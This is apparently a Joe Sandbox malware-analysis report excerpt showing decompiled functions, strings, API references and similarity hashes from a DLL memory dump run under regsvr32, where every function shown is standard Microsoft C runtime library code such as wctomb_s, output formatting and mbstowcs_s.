Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

", xrefs: 000007FEF9D3B496
("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A
", xrefs: 000007FEF9D3B2E1
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C
sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: 0349e1f67bcf58a9467b2163a48374e143b216b4fcd3e10d2347f4427f3577c7
Instruction ID: 857da3831ea488476c5fe61a9777edcdb3204cdfae2c6516af70c38e8266575f
Opcode Fuzzy Hash: 0349e1f67bcf58a9467b2163a48374e143b216b4fcd3e10d2347f4427f3577c7
Instruction Fuzzy Hash: 97C1F932A0D68286E7B09B55E8547BEB7E0F784344F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37
(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 677b85930a9a5e10114940793937fb41496cbdaf58dc4485b8ee00e4ca785de0
Instruction ID: 99087f23451225b4f7ab5820d3e4ac0e5e7a5016f389c9197bb40e17ebc05c44
Opcode Fuzzy Hash: 677b85930a9a5e10114940793937fb41496cbdaf58dc4485b8ee00e4ca785de0
Instruction Fuzzy Hash: 4ED11972A0CAC28AE7B09F64E8447AEB6E0F380349F604125D6CD47AE9DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: 61945b808d8ddeeab049de188114ad7d55d89a3558f0f9168201042d10a77149
Instruction ID: 3d46b7cc479ec5e1b64121366563b1e191facb976c601abf34f32c88bb47aca1
Opcode Fuzzy Hash: 61945b808d8ddeeab049de188114ad7d55d89a3558f0f9168201042d10a77149
Instruction Fuzzy Hash: 8202ED7260CBC186E7B1CB25E8857AEB7E4F384795F200125EACD86AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6
_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
P, xrefs: 000007FEF9D36912
bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667
", xrefs: 000007FEF9D368ED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 51ea2d8a29ec6a42f4206cddb2a15a761283d0351a467ffd0ee92275139e1829
Instruction ID: 0047506df9643dfb2240c3b63e02d4c6faf0d454733b2a9523d16aca39b446dd
Opcode Fuzzy Hash: 51ea2d8a29ec6a42f4206cddb2a15a761283d0351a467ffd0ee92275139e1829
Instruction Fuzzy Hash: E5E10B32A0DBC685E7B09B14E8457AEA3E0F384794FA04625D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
